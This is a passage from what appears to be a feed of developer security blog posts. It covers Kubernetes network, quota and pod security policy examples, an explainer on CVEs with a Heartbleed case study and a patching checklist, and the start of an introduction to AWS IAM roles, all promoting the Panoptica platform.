    &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;frontend&lt;/span&gt;
  &lt;span class="na"&gt;policyTypes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;Ingress&lt;/span&gt;
&lt;span class="na"&gt;ingress&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;backend&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, the network policy allows traffic from pods labeled&lt;br&gt;
&lt;code&gt;backend&lt;/code&gt; to reach pods labeled as &lt;code&gt;frontend&lt;/code&gt;. This effectively isolates&lt;br&gt;
certain pods, restricting which ones can access the frontend.&lt;/p&gt;
&lt;h3&gt;
  
  
  Resource quota
&lt;/h3&gt;

&lt;p&gt;Resource quotas ensure that your pods do not consume excessive&lt;br&gt;
resources. Here's an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ResourceQuota&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;compute-resources&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;hard&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pods&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10"&lt;/span&gt;
  &lt;span class="na"&gt;requests.cpu&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4"&lt;/span&gt;
  &lt;span class="na"&gt;requests.memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;4Gi&lt;/span&gt;
  &lt;span class="na"&gt;limits.cpu&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8"&lt;/span&gt;
  &lt;span class="na"&gt;limits.memory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;8Gi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this policy, we restrict the number of pods to 10. Then, we set&lt;br&gt;
limitations on CPU and memory usage. This ensures the proper&lt;br&gt;
distribution of resources and prevents any single pod from monopolizing&lt;br&gt;
them.&lt;/p&gt;
&lt;h3&gt;
  
  
  Security policy
&lt;/h3&gt;

&lt;p&gt;Consider the following example of a security policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;security.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PodSecurityPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;restricted&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;privileged&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
  &lt;span class="na"&gt;seLinux&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;RunAsAny&lt;/span&gt;
  &lt;span class="na"&gt;supplementalGroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;RunAsAny&lt;/span&gt;
  &lt;span class="na"&gt;runAsUser&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;rule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;MustRunAsNonRoot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, we implement measures such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prohibiting privileged containers (privileged: false)&lt;/li&gt;
&lt;li&gt;Enforcing SELinuxs runAsAny rule&lt;/li&gt;
&lt;li&gt;Ensuring that containers do not run as the root user&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Just to be clear, you can also configure some security settings for pods&lt;br&gt;
and containers through the securityContext for your pod specification.&lt;br&gt;
This includes setting whether or not to allowPrivilegeEscalation. For&lt;br&gt;
more information, you can reference the documentation here:&lt;br&gt;
&lt;a href="https://kubernetes.io/docs/tasks/configure-pod-container/security-context/" rel="noopener noreferrer"&gt;&lt;u&gt;https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The above examples are a great starting point for developing your own&lt;br&gt;
K8s container policies. Depending on your requirements and use case, you&lt;br&gt;
can expand these policies to align with your security context and&lt;br&gt;
permissions needs.&lt;/p&gt;

&lt;p&gt;Remember to apply these policies. You’ll use tools like &lt;code&gt;kubectl&lt;/code&gt; to&lt;br&gt;
update the control plane through the Kubernetes API.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do CNAPPs step up your K8s security game?
&lt;/h2&gt;

&lt;p&gt;You've got Kubernetes up and running, and you've set up some solid&lt;br&gt;
policies. But what about the more general security risks associated with&lt;br&gt;
cloud-native, containerized applications? You know—the ones that keep&lt;br&gt;
you up at night. This is where CNAPPs come into play. CNAPPs are your&lt;br&gt;
security command centers, designed specifically for the cloud-native&lt;br&gt;
world. Let's dig into how they make your life easier.&lt;/p&gt;

&lt;h3&gt;
  
  
  Role in K8s security
&lt;/h3&gt;

&lt;p&gt;Kubernetes is complex, no doubt about it. And with complexity comes&lt;br&gt;
risk. So, how do CNAPPs help?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Configuration management&lt;/strong&gt;: Are you ever worried that you (or more likely, one of the other engineers on your team) set things up the wrong way, leaving a gaping security hole? CNAPPs automatically flag any missteps in your Kubernetes setup that could be exploited.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Container runtime protection&lt;/strong&gt;: What is happening in your containers &lt;em&gt;right now&lt;/em&gt;? CNAPPs monitor container activity, alerting you or taking predefined actions if something looks fishy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network segmentation&lt;/strong&gt;: Are you clear and confident about who is allowed to talk to whom within your K8s cluster? CNAPPs can help you establish rock-solid network policies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability management&lt;/strong&gt;: Do you know what’s in your containers?  From third-party dependencies to open-source libraries, CNAPPs scan your container images for vulnerabilities to protect you from deploying anything risky.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Securing containerized applications
&lt;/h3&gt;

&lt;p&gt;Let’s step back from K8s specifically to look more generally at&lt;br&gt;
containerized applications. CNAPPs help you with security here, too.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Threat detection&lt;/strong&gt;: CNAPPs continuously monitor your apps, bringing real-time threat detection and mitigation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Policy enforcement&lt;/strong&gt;: As you define security policies, CNAPPs ensure enforcement throughout the application lifecycle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Visibility and monitoring&lt;/strong&gt;: Your DevSecOps team needs a bird’s-eye view of your app’s security. CNAPPs provide the insights and analytics to make this possible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration with CI/CD&lt;/strong&gt;: As the industry moves toward “shift left security,” it makes sense if security checks are just part of the build process. CNAPPs fit right into your CI/CD pipeline, making sure that everything in your app is secure before it goes live.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why should you choose Panoptica for managing your K8s policies?
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.panoptica.app/" rel="noopener noreferrer"&gt;&lt;u&gt;Panoptica&lt;/u&gt;&lt;/a&gt; (from&lt;br&gt;
&lt;a href="https://eti.cisco.com/" rel="noopener noreferrer"&gt;&lt;u&gt;Outshift&lt;/u&gt;&lt;/a&gt;) is a CNAPP solution that&lt;br&gt;
helps organizations gain the upper hand in container security and&lt;br&gt;
efficiency. &lt;strong&gt;Continuous monitoring&lt;/strong&gt; from Panoptica gives you 24/7,&lt;br&gt;
360-degree &lt;strong&gt;visibility&lt;/strong&gt; into what’s happening in your K8s clusters.&lt;br&gt;
&lt;strong&gt;Proactive security&lt;/strong&gt; measures help you identify vulnerabilities and&lt;br&gt;
misconfigurations before they can be exploited. And Panoptica’s&lt;br&gt;
&lt;strong&gt;Kubernetes Security Posture Management (KSPM)&lt;/strong&gt; maps out how K8s&lt;br&gt;
objects relate to one another, providing you with a complete view of&lt;br&gt;
your cluster's security posture.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh4aevqvd3q2qdl33mtk7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh4aevqvd3q2qdl33mtk7.png" alt="Panoptica Dashboard"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Wrapping up
&lt;/h2&gt;

&lt;p&gt;Managing large-scale, containerized applications can be chock full of&lt;br&gt;
challenges. However, with the right K8s container policies and reliable&lt;br&gt;
tools like Panoptica, you’re well-equipped to face them. You not only&lt;br&gt;
get robust security measures but also an optimized container ecosystem.&lt;/p&gt;

&lt;p&gt;So, what's next? If you're looking to dive deeper into Kubernetes and&lt;br&gt;
container policies, &lt;a href="https://www.panoptica.app/sign-up" rel="noopener noreferrer"&gt;&lt;u&gt;sign up&lt;/u&gt;&lt;/a&gt;&lt;br&gt;
to try out Panoptica for free today. We're here to guide you through the&lt;br&gt;
complexities and help you fortify your native apps against emerging&lt;br&gt;
threats.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>security</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>What’s the Deal with CVEs?</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 22 Dec 2023 14:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/whats-the-deal-with-cves-52f3</link>
      <guid>https://forem.com/ciscoemerge/whats-the-deal-with-cves-52f3</guid>
      <description>&lt;h1&gt;
  
  
  What’s the Deal with CVEs?
&lt;/h1&gt;

&lt;p&gt;Understanding Common Vulnerabilities and Exposures (CVEs) is a non-negotiable skill for software developers, especially those stepping into the realm of DevSecOps. When you ignore CVEs, you’re risking not just your project but also your entire business. In this post, we'll break down the concept of CVEs, step-by-step, so you can level up your&lt;br&gt;
security game.&lt;/p&gt;

&lt;p&gt;Let's kick things off by understanding what a CVE actually is.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a CVE?
&lt;/h2&gt;

&lt;p&gt;CVE stands for Common Vulnerabilities and Exposures. It's a standardized&lt;br&gt;
identifier for publicly known cybersecurity vulnerabilities. The public&lt;br&gt;
database of CVEs is maintained by the MITRE Corporation at&lt;br&gt;
&lt;a href="https://www.cve.org"&gt;https://www.cve.org&lt;/a&gt;. Another database,&lt;br&gt;
&lt;a href="https://nvd.nist.gov/"&gt;NIST's National Vulnerability Database&lt;br&gt;
(NVD)&lt;/a&gt;, syncs with the data from the MITRE’s&lt;br&gt;
CVE list, but enhances the list with more information. These&lt;br&gt;
organizations share information and work in collaboration with the U.S. Department of Homeland Security (DHS).&lt;/p&gt;

&lt;p&gt;A CVE is researched and written up by CVE Numbering Authorities (CNAs). These are organizations with cybersecurity professionals who volunteer&lt;br&gt;
their time to research potential vulnerabilities and then report them.&lt;/p&gt;

&lt;p&gt;CVE records typically include a unique identifier, a brief description, and references to related vulnerabilities or patches. To make this more concrete, let's walk through an example CVE entry:&lt;br&gt;
&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2020-12345"&gt;CVE-2020-12345&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;: The CVE identifier is unique for each and vulnerability, such as CVE-2020-12345.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Severity scoring&lt;/strong&gt;: The NVD also provides a severity of the vulnerability based on the common vulnerability scoring system (CVSS). CVSS scores are often used by vulnerability management systems for prioritization.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;: The description simply summarizes what the vulnerability is and how it can affect systems. In the case of this CVE, it is: “&lt;em&gt;Improper permissions in the installer for the Intel(R) Data Center Manager Console before version 3.6.2 may allow an authenticated user to potentially enable escalation of privilege via local access.&lt;/em&gt;”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;: These are links to patches, security advisories, or other related vulnerabilities. This particular CVE includes a link to the &lt;a href="https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00430"&gt;vendor advisory&lt;/a&gt; (from Intel) for this vulnerability.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that we've got the basics down, let's dive into the impact of CVEs on your applications.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impact of CVEs on applications
&lt;/h2&gt;

&lt;p&gt;CVEs can have a profound impact on your applications and, by extension, your business. Understanding these impacts is crucial for effective risk management. Let's break this down into two key areas: security risks and business implications.&lt;/p&gt;

&lt;h3&gt;
  
  
  Security risks
&lt;/h3&gt;

&lt;p&gt;CVEs detail where and how your application might be exposed to a variety of security risks, bringing potential for data breaches and system compromise.&lt;/p&gt;

&lt;p&gt;Imagine a hacker exploiting a vulnerable third-party library that your web application depends on. They could get their hands on sensitive user data, like credit card numbers or personal identification. But it doesn't stop there. They could manipulate system functionalities, disable security features, or even deploy malicious code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Business implications
&lt;/h3&gt;

&lt;p&gt;Beyond the immediate security concerns, an exploited CVE could devastate your business. A single exploited vulnerability can lead to reputational damage and loss of customer trust. On top of this, you have the financial burden of addressing a security breach, and the potential legal consequences. But they’re also the source of a lot of “noise” for developers. How do you filter the signal from the noise?&lt;/p&gt;

&lt;h2&gt;
  
  
  Case study: Heartbleed
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://heartbleed.com/"&gt;Heartbleed&lt;/a&gt; was a security bug in the OpenSSL cryptography library, a widely-used software for implementing SSL/TLS protocols to secure internet communication. The bug was introduced in OpenSSL's heartbeat extension (which is how it got the name "Heartbleed"). Attackers exploiting this vulnerability could read sensitive data directly from the memory of the target server, gaining&lt;br&gt;
unauthorized access to encryption keys, passwords, and user data.&lt;/p&gt;

&lt;p&gt;Heartbleed was officially referenced as&lt;br&gt;
&lt;a href="https://nvd.nist.gov/vuln/detail/cve-2014-0160"&gt;CVE-2014-0160&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The impact of Heartbleed was staggering, affecting a vast number of businesses and individual users. A big reason for this was because just about everybody relies on OpenSSL in some way. When the CVE was disclosed, approximately 17% of the world’s secure web servers (that’s about half a million servers) were believed to be vulnerable—and those were just web servers. Nearly three years after the disclosure, nearly&lt;br&gt;
200,000 internet-connected devices were still found to be vulnerable.&lt;/p&gt;

&lt;p&gt;The vulnerability exposed millions of login credentials. Companies worldwide—including Akamai, AWS, GitHub, Pinterest, Reddit, and Stripe—needed to patch their systems and then issue notices advising customers to change their passwords. Websites and services across all sectors, from government agencies to businesses, shut down temporarily to address the security flaws.&lt;/p&gt;

&lt;p&gt;What did we learn from Heartbleed? We learned that organizations need these things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Regular security audits&lt;/li&gt;
&lt;li&gt;Timely patch management&lt;/li&gt;
&lt;li&gt;An incident response plan&lt;/li&gt;
&lt;li&gt;Transparent communication with their user base during a cybersecurity crisis&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s move from example to action. How can you leverage CVEs to your advantage?&lt;/p&gt;

&lt;h2&gt;
  
  
  Leveraging CVEs
&lt;/h2&gt;

&lt;p&gt;CVEs aren't just doom and gloom. They’re supposed to help you make sure your systems are secure.&lt;/p&gt;

&lt;p&gt;So, what should you do when a CVE is disclosed? Here's a quick checklist&lt;br&gt;
of steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Check for vendor updates.&lt;/strong&gt; Software vendors often release patches or advisories when a CVE is disclosed. Check with them for updates first.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Assess impact.&lt;/strong&gt; Evaluate how (or whether) the CVE affects your specific environment. Not all CVEs will be relevant to your system. Not affected? Then return to your codebase and your coffee.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Apply patches.&lt;/strong&gt; If a patch is available, apply it immediately to your affected systems.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Update dependencies.&lt;/strong&gt; Sometimes the CVE affects a library or component your software relies on. Make sure to update these dependencies.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Notify stakeholders.&lt;/strong&gt; Keep your team in the loop. If necessary, update your customers with helpful information too. Transparency can go a long way in retaining customer trust.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Monitor.&lt;/strong&gt; After patching, keep an eye on system logs and traffic. Make sure the issue is truly resolved.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Be warned: attackers read CVE databases too. Your inaction could be their opportunity. Attackers will use CVE list information to identify unpatched systems, and they’ll work quickly and efficiently to get their foot in the door before you lock it. Attackers can automate scans for vulnerable systems and exploit them faster than you might think. So,&lt;br&gt;
once a CVE is disclosed, the clock is ticking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Panoptica: Your CVE Noise Reduction Tool
&lt;/h2&gt;

&lt;p&gt;When it comes to helping you navigate CVEs, Panoptica is a cloud-native application protection platform (CNAPP) that integrates seamlessly with your cloud environment. Some of the key features that Panoptica brings to the table include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE data enrichment with IntSights&lt;/strong&gt;: Panoptica's &lt;a href="https://docs.panoptica.app/docs/intsights-integration"&gt;integration with IntSights&lt;/a&gt; adds an extra layer of intelligence to your CVE data. Using dark web threat intelligence data from IntSights, Panoptica will provide a risk score—tailored to your unique cloud-native setup—for each CVE, helping you prioritize which vulnerabilities to address first.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Attack path analysis&lt;/strong&gt;: Panoptica identifies potential attack paths within your environment. By understanding how an attacker might exploit vulnerabilities, you can take proactive measures to secure your applications.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Prevention measures&lt;/strong&gt;: Panoptica offers real-time automated alerts and continuous monitoring. This allows you to measure the effectiveness of your security measures and make data-driven decisions.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;CVEs are key to cybersecurity and threat preparedness. Whether you’re a software engineer or on the DevOps team, you can’t afford to ignore the helpful information that comes from CVE disclosures. CVEs can help you manage the security risks—whether those might be compromised credentials, the installation of malicious code, data exfiltration or loss, or other threats.&lt;/p&gt;

&lt;p&gt;Panoptica helps you understand the vulnerabilities affecting your cloud environment &lt;em&gt;and&lt;/em&gt; provides actionable insights to secure your applications.&lt;/p&gt;

&lt;p&gt;We’ve talked about how adopting DevSecOps methodologies is a journey. Remember that security is not a one-and-done thing. It’s an ongoing process. Panoptica will ride along with you, offering the tools you need to deal with CVEs effectively.&lt;/p&gt;

&lt;p&gt;Explore what Panoptica has to offer by &lt;a href="https://www.panoptica.app/sign-up"&gt;signing up for free today.&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devsecops</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>An introduction to IAM Roles</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 15 Dec 2023 14:00:00 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/iam-roles-8mo</link>
      <guid>https://forem.com/ciscoemerge/iam-roles-8mo</guid>
      <description>&lt;p&gt;If you're a software developer who is just wading into the ocean that is&lt;br&gt;
cybersecurity and DevSecOps, you might be overwhelmed by the many&lt;br&gt;
challenges in front of you. Data breaches. Unauthorized access.&lt;br&gt;
Ransomware. These are just a few of the threats you'll encounter. It can&lt;br&gt;
be a lot to take in.&lt;/p&gt;

&lt;p&gt;Leveling up your DevSecOps skills is a journey. Take it one step at a&lt;br&gt;
time. One of those steps—the one we’ll focus on here—is identity and&lt;br&gt;
access management (IAM). IAM roles are crucial, especially when working&lt;br&gt;
in cloud environments. They help you control who has access to what. IAM&lt;br&gt;
roles serve as a cornerstone for any effective security strategy.&lt;/p&gt;

&lt;p&gt;In this post, we'll explore the fundamentals of IAM roles, guide you&lt;br&gt;
through developing a sensible IAM strategy, and share some best&lt;br&gt;
practices. We'll also discuss how Panoptica can assist you in monitoring&lt;br&gt;
and enforcing your IAM policies effectively.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the basics of IAM roles
&lt;/h2&gt;

&lt;p&gt;So, what exactly is an IAM role? Before we dive in, here are some key&lt;br&gt;
terms to lay the foundation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;An &lt;strong&gt;action&lt;/strong&gt; is an operation performed on a resource.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A &lt;strong&gt;permission&lt;/strong&gt; specifies whether an action is allowed or denied.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A &lt;strong&gt;policy&lt;/strong&gt; is a set of rules that outline permissions for actions,&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;often expressed as JSON.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;An IAM &lt;strong&gt;identity&lt;/strong&gt; refers to a user or a role to which a policy is&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;attached.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An IAM user is tied one-to-one with an individual. IAM roles don’t work&lt;br&gt;
like that. Instead, they can be assigned to multiple users or even&lt;br&gt;
resources. Let's illustrate with an example.&lt;/p&gt;

&lt;h3&gt;
  
  
  A practical use case: EC2 instances
&lt;/h3&gt;

&lt;p&gt;Imagine you have an Amazon EC2 instance and you want to control who can&lt;br&gt;
start or stop it. You start by crafting a policy that permits these&lt;br&gt;
Amazon Web Services (AWS) IAM actions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;ec2:StartInstances&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;ec2:StopInstances&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Alice leads your IT admin team, and she needs to start and stop your&lt;br&gt;
instance. One way to do this would be to attach your policy to Alice’s&lt;br&gt;
user account. But what happens if others on the IT team—Bob and&lt;br&gt;
Charlie—also need permission to perform these actions? You would need to&lt;br&gt;
attach the policy to Bob’s and Charlie’s individual IAM users too.&lt;/p&gt;

&lt;p&gt;As your IT team grows or its responsibilities change, managing common&lt;br&gt;
permissions on a per-user basis becomes a huge headache. You could be&lt;br&gt;
juggling dozens of policies and attaching them to users based on their&lt;br&gt;
responsibilities.&lt;/p&gt;

&lt;p&gt;Here's where AWS IAM roles come in handy. You can create a role—let's&lt;br&gt;
give it the role name ec2-manager—and attach the proper policies to it.&lt;br&gt;
Then, you assign this role to Alice, Bob, and Charlie. Voila! You're&lt;br&gt;
improving your AWS security workflows and making your life a lot easier.&lt;/p&gt;

&lt;p&gt;By the way, users aren’t the only ones who can be assigned an IAM role.&lt;br&gt;
AWS resources can be assigned roles too. Imagine if you had a Lambda&lt;br&gt;
that needed permission to start or stop your EC2 instance. Then, you&lt;br&gt;
could assign the ec2-manager role to that Lambda resource.&lt;/p&gt;

&lt;h3&gt;
  
  
  How do IAM roles help with security?
&lt;/h3&gt;

&lt;p&gt;You might be asking, "How does this make my system more secure?" Well,&lt;br&gt;
IAM roles offer a &lt;strong&gt;more organized approach to access management&lt;/strong&gt;.&lt;br&gt;
Instead of focusing on individual users, you focus on roles. This&lt;br&gt;
&lt;strong&gt;minimizes the risk of unauthorized actions&lt;/strong&gt;. But be cautious—a poor&lt;br&gt;
configuration or improperly assigned role can wreak havoc. So, it's&lt;br&gt;
crucial to get your IAM roles right.&lt;/p&gt;

&lt;h2&gt;
  
  
  Crafting a sensible IAM strategy
&lt;/h2&gt;

&lt;p&gt;Creating an IAM strategy isn't a one-size-fits-all deal. It needs to be&lt;br&gt;
customized to fit your organization's unique needs and the types of&lt;br&gt;
threats you're up against.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Assess your needs
&lt;/h3&gt;

&lt;p&gt;First off, what needs protecting? This isn't just a list; knowing what&lt;br&gt;
you have helps you figure out what you could lose. This is your asset&lt;br&gt;
inventory. Assuming your cloud provider is AWS, Inventory all the&lt;br&gt;
resources in your AWS account that are crucial for your operations—like&lt;br&gt;
databases, API endpoints, cloud computing workloads, VPCs, Amazon S3&lt;br&gt;
buckets, and other AWS services.&lt;/p&gt;

&lt;p&gt;By identifying what needs to be protected, you’ll better understand the&lt;br&gt;
scope of your IAM strategy. This will help you allocate resources more&lt;br&gt;
effectively and prioritize your security measures.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Design policies
&lt;/h3&gt;

&lt;p&gt;Alright, you've got your inventory. The next question is this: What are&lt;br&gt;
people allowed to do with those resources? Or better yet, what should&lt;br&gt;
they &lt;em&gt;not&lt;/em&gt; be allowed to do? This is where you design your policies,&lt;br&gt;
creating rules that dictate what can and cannot be done with the&lt;br&gt;
resources you've identified.&lt;/p&gt;

&lt;p&gt;For each resource, define what actions are allowed or denied. Go with&lt;br&gt;
the &lt;strong&gt;principle of least privilege&lt;/strong&gt;: grant only the minimum permissions&lt;br&gt;
necessary to perform a task. Well-designed policies minimize the risk of&lt;br&gt;
unauthorized access or actions. They serve as your first line of defense&lt;br&gt;
against potential security breaches.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Assign roles
&lt;/h3&gt;

&lt;p&gt;With policies in hand, it’s time to create and assign roles. This is the&lt;br&gt;
fun part. Think of it like a casting call for a movie—except the stakes&lt;br&gt;
are way higher. Create roles that correspond to different job functions&lt;br&gt;
within your organization. Assign the appropriate permission policies to&lt;br&gt;
the roles you’ve created. Be cautious of roles that are too permissive.&lt;/p&gt;

&lt;p&gt;Finally, attach roles to individual users. Make sure that Alice, Bob,&lt;br&gt;
and whoever else is on your team get roles that fit their job functions.&lt;br&gt;
Don’t forget to consider what non-human resources (like a Lambda) might&lt;br&gt;
also need to be assigned roles so that they can do their jobs too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best practices for IAM roles
&lt;/h2&gt;

&lt;p&gt;Your IAM strategy and roles are in place. Nicely done. What else should&lt;br&gt;
you do to keep things running securely?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Conduct regular audits&lt;/strong&gt;. Job functions change all the time, so you&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;need regular IAM check-ups. Keep an eye out for outdated permissions&lt;br&gt;
or over-permissive roles. You can do this manually or automate this&lt;br&gt;
